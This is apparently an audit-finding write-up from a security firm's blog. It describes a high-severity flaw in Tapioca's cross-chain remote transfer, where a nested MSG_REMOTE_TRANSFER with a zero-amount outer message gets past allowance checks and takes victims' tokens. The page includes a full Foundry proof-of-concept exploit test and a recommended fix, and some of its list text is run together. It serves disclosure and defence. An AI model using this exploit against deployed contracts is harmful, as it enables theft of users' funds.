Smart Security Practices From The Best
What do Lido, Red Stone, YieldNest, and Braintrust have in common? They’ve developed effective methods for improving security without drastically increasing costs. Top-tier protocol […]
The user can use a nested MSG_REMOTE_TRANSFER message in a valid MSG_REMOTE_TRANSFER to execute back the remote transfer as the owner of tokens (stealing their tokens).
Tapioca allows to execute a cross-chain call to make a remote transfer.
It works as following:
MSG_REMOTE_TRANSFER message to destination chain with specified amount of tokens and owner of the tokens (e.g. the user themselves).composeMsg field of RemoteTransferMsg struct.The main issue here is that the _internalRemoteTransferSendPacket function is called with remoteTransferMsg_.owner as the first parameter, which is the _srcChainSender parameter. In other words, the executor or the callback call is the owner (not the user who initiated the process). Additionally, the user can arbitrarily specify the contents of the composeMsg in the MSG_REMOTE_TRANSFER message (step 1). It can have a nested MSG_REMOTE_TRANSFER message that would be called by the owner.
What is more, the attacker is able to bypass the allowance check by simply making the outer MSG_REMOTE_TRANSFER for zero amount. The allowance check for 0 amount always passes and allows to execute the nested MSG_REMOTE_TRANSFER.
Let’s explore the attack scenario:
MSG_REMOTE_TRANSFER message to destination chain with 0 amount of tokens and the victim as the owner of the tokens.MSG_REMOTE_TRANSFER message by the victim with the victim as the owner and the balance of the victim as the amount.
from == sender.amount of tokens from the victim to Tapioca.amount of tokens.composeMsg).See the Proof of Concept:
function test_remote_malicious_transfer() public {
// vars
LZSendParam memory remoteLzSendParam_;
MessagingFee memory remoteMsgFee_; // Will be used as value for the composed msg
uint256 maliciousTokenAmount_ = 1.1 ether;
LZSendParam memory remoteLzSendParam_malicious;
MessagingFee memory remoteMsgFee_malicious;
bytes memory composeMsg_malicious;
/**
* Setup
*/
{
deal(address(aUsdo), address(userB), maliciousTokenAmount_); // Victim needs tokens on chain A
// Setup malicious callback
PrepareLzCallReturn memory prepareLzCallReturn1_ = usdoHelper.prepareLzCall( // B->A data
IUsdo(address(aUsdo)),
PrepareLzCallData({
dstEid: bEid,
recipient: OFTMsgCodec.addressToBytes32(address(userA)),
amountToSendLD: maliciousTokenAmount_,
minAmountToCreditLD: maliciousTokenAmount_,
msgType: SEND,
composeMsgData: ComposeMsgData({
index: 0,
gas: 0,
value: 0,
data: bytes(""),
prevData: bytes(""),
prevOptionsData: bytes("")
}),
lzReceiveGas: 1_000_000,
lzReceiveValue: 0
})
);
remoteLzSendParam_ = prepareLzCallReturn1_.lzSendParam;
remoteMsgFee_ = prepareLzCallReturn1_.msgFee;
remoteLzSendParam_.fee.nativeFee += 806;
remoteMsgFee_.nativeFee += 806;
// Setup malicious remote transfer
RemoteTransferMsg memory remoteTransferData =
RemoteTransferMsg({composeMsg: bytes(""), owner: address(userB), lzSendParam: remoteLzSendParam_});
bytes memory remoteTransferMsg_ = usdoHelper.buildRemoteTransferMsg(remoteTransferData);
PrepareLzCallReturn memory prepareLzCallReturn2_ = usdoHelper.prepareLzCall(
IUsdo(address(bUsdo)),
PrepareLzCallData({
dstEid: aEid,
recipient: OFTMsgCodec.addressToBytes32(userA),
amountToSendLD: 0,
minAmountToCreditLD: 0,
msgType: PT_REMOTE_TRANSFER,
composeMsgData: ComposeMsgData({
index: 0,
gas: 1_000_000,
value: uint128(remoteMsgFee_.nativeFee),
data: remoteTransferMsg_,
prevData: bytes(""),
prevOptionsData: bytes("")
}),
lzReceiveGas: 1_000_000,
lzReceiveValue: 0
})
);
composeMsg_malicious = prepareLzCallReturn2_.composeMsg;
}
{
// @dev `remoteMsgFee_` is to be airdropped on dst to pay for the `remoteTransfer` operation (B->A).
PrepareLzCallReturn memory prepareLzCallReturn1_ = usdoHelper.prepareLzCall( // B->A data
IUsdo(address(bUsdo)),
PrepareLzCallData({
dstEid: aEid,
recipient: OFTMsgCodec.addressToBytes32(address(userB)),
amountToSendLD: 0,
minAmountToCreditLD: 0,
msgType: SEND,
composeMsgData: ComposeMsgData({
index: 0,
gas: 0,
value: 0,
data: bytes(""),
prevData: bytes(""),
prevOptionsData: bytes("")
}),
lzReceiveGas: 1_000_000,
lzReceiveValue: 0
})
);
remoteLzSendParam_ = prepareLzCallReturn1_.lzSendParam;
remoteMsgFee_ = prepareLzCallReturn1_.msgFee;
remoteLzSendParam_.fee.nativeFee += 806;
remoteMsgFee_.nativeFee += 806;
}
/**
* Actions
*/
RemoteTransferMsg memory remoteTransferData =
RemoteTransferMsg({composeMsg: composeMsg_malicious, owner: address(userB), lzSendParam: remoteLzSendParam_});
bytes memory remoteTransferMsg_ = usdoHelper.buildRemoteTransferMsg(remoteTransferData);
PrepareLzCallReturn memory prepareLzCallReturn2_ = usdoHelper.prepareLzCall(
IUsdo(address(aUsdo)),
PrepareLzCallData({
dstEid: bEid,
recipient: OFTMsgCodec.addressToBytes32(userB),
amountToSendLD: 0,
minAmountToCreditLD: 0,
msgType: PT_REMOTE_TRANSFER,
composeMsgData: ComposeMsgData({
index: 0,
gas: 1_500_000,
value: uint128(remoteMsgFee_.nativeFee),
data: remoteTransferMsg_,
prevData: bytes(""),
prevOptionsData: bytes("")
}),
lzReceiveGas: 1_500_000,
lzReceiveValue: 0
})
);
bytes memory composeMsg_ = prepareLzCallReturn2_.composeMsg;
bytes memory oftMsgOptions_ = prepareLzCallReturn2_.oftMsgOptions;
MessagingFee memory msgFee_ = prepareLzCallReturn2_.msgFee;
LZSendParam memory lzSendParam_ = prepareLzCallReturn2_.lzSendParam;
assertEq(bUsdo.balanceOf(address(userA)), 0);
vm.deal(userA, msgFee_.nativeFee);
vm.prank(userA);
(MessagingReceipt memory msgReceipt_,) = aUsdo.sendPacket{value: msgFee_.nativeFee}(lzSendParam_, composeMsg_);
{
verifyPackets(uint32(bEid), address(bUsdo));
// Initiate approval
// bUsdo.approve(address(bUsdo), 0); // Needs to be pre approved on B chain to be able to transfer
__callLzCompose(
LzOFTComposedData(
PT_REMOTE_TRANSFER,
msgReceipt_.guid,
composeMsg_,
bEid,
address(bUsdo), // Compose creator (at lzReceive)
address(bUsdo), // Compose receiver (at lzCompose)
// address(this),
userA,
oftMsgOptions_
)
);
}
{
verifyPackets(uint32(aEid), address(aUsdo));
__callLzCompose(
LzOFTComposedData(
PT_REMOTE_TRANSFER,
0x5ad79811938c8bdd48e3513a72d845d4d5258f47b0baa7be1952ae2c2b2fc427,//hardcoded because it is not returned (it is called internally and the return value is not bubbled up)
composeMsg_malicious,
aEid,
address(aUsdo), // Compose creator (at lzReceive)
address(aUsdo), // Compose receiver (at lzCompose)
// address(this),
userB,
oftMsgOptions_
)
);
}
// Check arrival
{
assertEq(bUsdo.balanceOf(address(userA)), 0);
verifyPackets(uint32(aEid), address(aUsdo)); // Verify B->A transfer
assertEq(aUsdo.balanceOf(address(this)), 0);
verifyPackets(uint32(bEid), address(bUsdo)); // Verify A->B transfer
assertEq(bUsdo.balanceOf(address(userA)), maliciousTokenAmount_);
}
}HIGH – Theft of any supported token held by any user on any chain.
Validate the compose message to not include nested compose messages or build the callback message from scratch as simple LZ transfer message.
Meet Composable Security
Get throughly tested by the creators of Smart Contract Security Verification Standard
Let us help
Get throughly tested by the creators of Smart Contract Security Verification Standard